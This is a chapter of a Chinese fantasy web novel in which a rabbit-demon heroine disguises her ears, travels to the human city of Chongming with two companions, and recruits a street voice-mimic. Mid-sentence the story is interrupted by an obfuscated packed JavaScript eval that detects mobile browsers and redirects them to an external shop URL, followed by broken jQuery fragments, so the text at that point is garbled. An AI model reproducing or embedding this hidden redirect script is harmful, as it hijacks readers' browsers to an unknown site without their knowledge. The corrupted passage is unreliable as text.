相比于扫盲,明显扶贫在当下重要。
于是涂茗大手一挥,尽快启程前往崇明州拍卖会。
结果就有了现在这一幕,涂茗已经盯着铜镜里的自己看了快20分钟。
镜子里那张脸倒是没什么问题,眉眼周正、皮肤白净,除了眼底有一点点熬夜画稿留下的青黑,整体来说还是能看的。
问题是头顶,那两只毛茸茸的、淡粉色的、竖起来足有半截筷子长的兔耳朵正精神抖擞地立在发间,耳尖还随着她偏头的动作微微颤了一下。
她抬手把那两只耳朵往下按,按下去,手一松,又“啪”地弹回来。
再按,再弹。两只耳朵跟装了弹簧似的,死活不肯消失。
涂茗穿过来也有小半个月了,有时也会注意到与前世不一样的一些,比如头顶的兔子耳朵、再比如身后的尾巴。
她不知道系统给她的是个什么物种的兔子,能给她加什么buff,反正现在对她来说,这个一进人族区域就暴露的兔子耳朵是相当鸡肋的。
不过,这里妖又不止她一个,涂茗决定去问更有经验的旬听。
“……这玩意儿平时也不能收起来吗?”涂茗转头问站在门口的旬听。
少年靠着门框双手抱胸,脸上写满了“我早就知道你会遇到这个问题,还得是我来教你”的得意,嘴角压都压不住。
“岐狐能收耳朵是因为我们化形的时候刻意练过。”旬听慢悠悠地说,“姐姐你试着把灵气汇聚到耳朵,然后控制它。”
涂茗照做,可惜没用。
毕竟其他妖为了化形都不知练了多久,哪里是涂茗这样说见效就想见效的。
涂茗决定还是得物理隔离。
她一鼓作气,从桌上抄起一块大头巾往脑袋上一蒙,耳朵确实被包住了,但是头顶凸起鼓鼓囊囊的两个大包,从侧面看像脑袋上长了两只角。
她又换了顶帽子,可是耳朵太大,帽檐被顶得翘起来,后脑勺支棱着两个尖尖的凸起,乍一看跟脑袋上长了俩犄角似的,更奇怪了。
而且还容易掉。
都不合适。
“我出门总不能顶着一对耳朵满大街跑吧?”涂茗对着一屋子的帽子帕子头巾发愁,“那别人一看就知道我不是人。”
“姐姐你本来就不是人呀。”
“……谢谢你提醒我哦。”
门外忽然传来荣苍不紧不慢的脚步声。
老爷子踱进来,扫了一眼满桌子乱七八糟的布料和涂茗头顶那两个倔强的鼓包,悠悠道,“小丫头,来试试这个。”
对方伸手从袖子里摸出一样东西递过来。
是一枚戒指,上头雕着一朵半开的花,纹路细密,隐隐有灵气流转。
“戴上试试。”
涂茗接过来半信半疑地往手指头上一扣,上头的那朵花微微亮,一股凉丝丝的气息顺着指尖将她整个人包裹起来。
她下意识抬手摸了摸头顶,两只耳朵还在,但手摸上去的触感却变得模糊。待她看向铜镜,镜子里的人头顶平平整整,长发梳得妥帖,那两只毛茸茸的兔耳朵消失得干干净净,半点看不出妖的样子。
活脱脱一个明艳的人族二八少女。
“咦?”
“掩气戒。”荣苍看着涂茗,满意地点点头,"戴上去之后旁人看到的你就是一个普通的人族女子。修为到化神的才能看穿,在崇明那种地方,怎么也是够用了。"
涂茗对着镜子左看右看,也很满意。
“多谢荣爷爷。”她转过身认认真真道了谢。
荣苍摆摆手,慢悠悠往外走,临出门丢下一句:"两个小崽子我看着。你们早去早回,看见好东西记得带点给我。"
“会的会的。”
旬听在门口已整装待发许久,而谢边也不知道是什么时候从门框边冒出来的。见人都到齐,涂茗清了清嗓子:“走走走出发。”
崇明州,算是距离人妖边界最近的人族大城,但离他们振兴办还是很有一段距离的。
谢边不知从哪变出一架飞舟,三人就着飞舟往崇明州去。
飞舟受灵气驱使,在云层里穿梭,偶尔能看见云层间的白鹤。
云在四周缓缓流淌,厚的地方像铺开的棉絮,薄的地方透出底下青灰色的山影。日光从云隙里漏下来,一道一道的金色光柱落在翻涌的雾海上,像点起的灯。
几人都没有说话,就这么随着飞舟向前。
云层无声地向后退去,过了不久,前方的天光渐渐亮起来,隐隐约约能看到崇明州的地界轮廓,正在云海的尽头缓缓铺展。
很快,飞舟停在了城外的林子里,几人走下来,谢边快速收起了飞舟。
三人顺着人流,往城内走去,城门口也没什么审查。
再往里走,人声、叫卖声、同周围驶过的马车辚辚声混在一处,一股扑面而来的烟火气。街道两侧铺面林立,旗幡招展,卖糖人的、卖布匹的、卖灵草灵石的摊位鳞次栉比,比讯旻山庄周围那点妖族的小集市热闹了何止十倍。
“崇明州虽然不算大,但位置特殊,来往的人族散修和商贩都不少。”谢边边走边解释,“拍卖会设在城东的聚珍阁,还有几个小时,先同我来。”
谢边领着两人来到一座三层高的楼前,门上悬着一块黑底金漆的匾额,“通宝商会”四个字写得颇有气势。
“你去旁边那个茶楼坐一会,我拿个通行证就来。”
“我也要去。”
在妖族那穷乡僻壤,额不,山清水秀的地方与世隔绝太久,这个世界的东西她好多都没见过呢。
旬听反正是跟着涂茗走,自然也跟着。
跟着就跟着吧,这本也没什么事,谢边便没拒绝。
通宝商会里面比外面看起来还要气派。
大堂宽阔,地面铺着青灰色的石砖,柜台后面站着一个穿着绸衫的中年管事,留着一撇修剪精致的短须,正在拨算盘珠子。
一股子老奸巨猾的样子。涂茗在心里默默贴标签。
看到三人进来,他抬头打量了一下,目光在涂茗和旬听身上停了片刻,然后端起微笑迎了上来:“谢公子,您来了。”
谢边取出一块玉牌递过去。
管事接过来看了看,脸上的笑容又热络了几分,转身从柜后取出一只锦盒,打开,里面躺着三块巴掌大的玉牌,上边刻着“聚宝”二字,颜色深浅不一,边缘都刻着精细的花纹。
管事将盒子推过来,另道,“您之前吩咐预支的灵石也备好了。”
谢边点头,把装着入场券的盒子递给涂茗,又把灵石收进了随身的乾坤袋中,转身就走。
涂茗细细端详了一番,感叹了人族工艺的细致,就把其中一张入场券递给旬听,并嘱咐道:"收好了,别弄丢了。"
“我又不是小羽。”旬听略带不满地嘟囔了一句,但还是把玉牌小心翼翼地贴身放好。
时候还早,三人决定先找个地方吃东西。
崇明州的街市很是繁华,最起码在涂茗和旬听俩妖族来的看来是这样的。
沿街铺面一家挨着一家,有卖热汤面的、卖蒸糕的、还有几家门脸不大的酒楼。
谢边领着两人,随意走进一家二层挂着“望湖楼”牌子的酒楼。
三人在二楼靠窗的位置坐下,窗外正好对着街口。
其实谢边并不想坐这,靠着窗,路上有什么车、马一跑过,进来的全是灰。
“不行啊,小说、电视剧里主角都是坐这的。”来都来了,不得装一波?
在涂茗在一再强调下,三人还是在这坐下了,只是谢边不动声色地把桌子拉的离窗户更远些。
涂茗翻着菜单点了几样招牌菜。
旬听也是第一次来人族地界的正经饭馆,对着桌面上摆的竹筷碟碗看了半天,偷偷学涂茗的动作把筷子拿起来,夹了一块肉,塞进嘴里之后眼睛亮了又亮,马上去夹第二块。
“吃慢点。”涂茗给他倒了杯茶,“又没人跟你抢。”
“很好吃啊。”旬听含糊不清地嘟囔,“人族做饭比妖族好吃多了。”
涂茗笑了笑,自己也夹了一筷子。
味道确实不错,肉质嫩滑,料汁调得酸甜适中,比讯旻山庄那顿集体围炉的目叶汤强了不知多少倍。
自从尝了那碗绿油油的汤过后,只要她吃到什么,不由自主就在心里头和那碗汤比较起来。可谓是心里阴影很大了。
吃得正香,忽然街口的人群有些异样的骚动。
涂茗一见这,马上就来劲,“我就说吧,坐这里肯定能触发什么事件。”
谢边回以一个白眼。
先是几个路人停下来往同一个方向张望,接着越来越多的人聚拢过去,在街角围成了一个小圈。
圈子里隐约传来一阵叫卖声,声音洪亮、中气十足,是个中年汉子:"瞧一瞧看一看咧!祖传秘方,包治百病!头疼脑热腰酸腿疼,一粒见效!"
卖药的?这倒也不稀奇。
涂茗准备收回目光,但就在这时候,人群里忽然传出另一个截然不同的声音,这是一个苍老的、带着咳嗽的、颤巍巍的老太太嗓音:“大郎啊,你爹这老寒腿又犯了,你给娘看看那药……”
紧接着那个中年汉子的声音又接上了:“大娘您放心!我这药专门治老寒腿,三副下去包您家老爷子能下地走路!”
谢边握着筷子的手也顿住了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779879|209308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
那个“老太太”又说了几句,然后人群里爆出一阵哄笑。
三人都往窗外看去,原来圈子里站着的是一个人。
一个看着不到二十岁的年轻男子,穿着洗得发白的灰布短褐,头发随便扎起,脸上笑嘻嘻的。他一个人站在人群中央,刚才那一老一少的对话,全是他一个人演出来的。他先是压低嗓子学老太太咳嗽,又换回中年汉子的爽朗嗓门吆喝,中间还夹了一句孩子的童音说“娘我想吃糖”,惟妙惟肖,浑然天成。
围观的人被他逗得前仰后合,有几个看热闹的往他脚前的破碗里丢了几枚碎灵石。
男子弯腰道谢,嘴里还在继续变换着腔调,一会儿学鸟叫,一会儿学远处货郎的吆喝,像是身体里住了几十个不同的人,随时拉出来一个就能表演。
涂茗对着谢边轻拍桌子,兴冲冲道,“我们的配音演员这不就……”
话没说完,街面上又有了新动静。
那年轻男子还在表演,人群外围忽然挤进来一个身形高大的人。那人穿着一件深褐色的短打,腰里别着一条红布带,面容粗犷,迈着大步走到圈子中央,一把拽住了灰衣男子的胳膊。
“又是你!”高大男子嗓门不小,“上回在城北你冒充我师父算命,骗了人家好些灵石,这回又在这儿骗人!”
人群一阵哗然,有几个刚才丢过灵石的立刻露出嫌恶的表情,开始你一句我一句地数落起来。
灰衣男子被拽得踉跄了一步,脸上的嬉笑神色退了几分,但也不慌,只是嘿嘿笑了两声:“陈大哥,我上回骗来的钱都还回去了的嘛。”
"还了是因为你当场被我抓着了!这回你又打算在这儿坑蒙拐骗,骗谁的钱?"
围观的人越来越多,你一言我一语,局面一时有些混乱。
涂茗在楼上看着,那灰衣男子被围在中间显得有点狼狈,那个“陈大哥”越说越激动,拽着人胳膊的手一直没松。
涂茗看了谢边一眼。
谢边回看了她一眼。
然后两人同时把目光落在了旁边正在跟卤牛肉较劲的旬听身上。
少年被这两道目光同时盯住,腮帮子鼓鼓地抬起了头,茫然地嚼了嚼咽下去,含含糊糊地问:“怎么了……看我干嘛?”
“你,下去拉个架。”涂茗指挥道。
“我又不认识他们。”
“没事。”涂茗挑眉,“我也不认识,过会就认识了。”
旬听张了张嘴,看着涂茗一脸催促的表情,认命地放下筷子站起来,从二楼栏杆翻下去的时候衣摆带起一阵风,落地无声。
涂茗趴在窗沿上看。
旬听挤进人群的动作很利索,三两步就到了圈子中央,一手隔开那个李大哥,另一手把灰衣男子往外带了带。
他年纪不大但个子已经拔起来了,往那儿一站,加上灵气的无形威压一放,那陈大哥下意识松了手,后退半步。
“干嘛的?”那陈大哥警惕地上下打量他。
“诶这我哥。”灰衣男子反应极快,伸手勾住旬听的肩膀亲亲热热往自己身上一带,“我哥找我回家吃饭,陈大哥,咋们改天再聊啊!”
谁是你哥?我有弟弟!
旬听被他勾得浑身僵直,鸡皮疙瘩都掉了一地,但面上还紧紧绷着,只从鼻子里哼了一声“嗯”,拽着人就往外走。
那陈大哥愣了一下想追,但被旬听回头一个眼神扫过来,脚步骤然顿住。
两人很快出了人群,拐进望湖楼侧面的巷子里。
约莫过了半盏茶的功夫,旬听和那个灰衣男子一起从侧门上了二楼,出现在涂茗和谢边的桌前。
灰衣男子一上楼就拱手,脸上还是那副笑嘻嘻的散漫表情:“几位恩人,多谢搭救。在下沈存鸣,在东市混口饭吃的。”
涂茗打量了他一圈,很普通的长相,整张脸唯一突出的是一双亮而有神的眼睛。身上的灰布短褐有几处洗得发白了,袖口磨出了毛边,看起来确实过得不太宽裕。
"坐。"涂茗指了指桌对面的空位,叫小二添了副碗筷和一道荤菜。
对方很不客气,坐下来先喝了一大口茶,还反客为主地招呼旬听坐下。捞起筷子就开始吃,动作风卷残云,几下子扫光桌面的东西。
涂茗等他把嘴里的饭菜咽得差不多了,才慢悠悠开口:“你这学人说话的本事,练了多久?都会模仿那些?”
“听过就会。”沈存鸣突然用涂茗的声音回答,在场几人都吓了一跳。
“恩人可是需要我做什么?”对方拿袖子擦了擦嘴,“需要的话……”
话未说完,沈存鸣突然站起身,就往窗台跳,丢下一句,“在下可不奉陪。”